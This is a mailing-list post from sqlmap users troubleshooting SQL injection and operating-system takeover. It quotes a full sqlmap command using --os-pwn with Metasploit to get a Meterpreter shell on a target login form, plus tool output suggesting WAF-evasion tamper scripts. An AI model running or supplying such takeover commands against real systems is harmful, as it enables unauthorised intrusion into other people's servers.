Re: [sqlmap-users] Error with operating system takeover (meterpreter)

SourceForge Headquarters 1320 Columbia Street Suite 310 San Diego, CA 92101 +1 (858) 422-6466

Hi

This time I tried --flush-session as well and now it is showing that the
parameter is not injectable; however when I'm using old session with (-s
old_sessionfile.sqlite) it is not showing this.

Observed similar issue when few days back I tried to sqlinject same
vulnerable parameter using sqlmap from Computer-2; it failed to identify
vulnerability in target parameter; however at the same time it was working
with Computer-1. Did tried --time-sec, -o etc. This is another weird issue
in addition to OS Pwning.

--start--
sqlmap -r mytarget_login -p testNumber --os-pwn
--msf-path="/opt/metasploit/apps/pro/msf3" -t test_msf_newSession -v 2
--fresh-queries --flush-session
..

[05:20:28] [WARNING] POST parameter 'testNumber' is not injectable
[05:20:28] [CRITICAL] all tested parameters appear to be not injectable.
Try to increase '--level'/'--risk' values to perform more tests. Also, you
can try to rerun by providing either a valid value for option '--string'
(or '--regexp') If you suspect that there is some kind of protection
mechanism involved (e.g. WAF) maybe you could retry with an option
'--tamper' (e.g. '--tamper=space2comment')
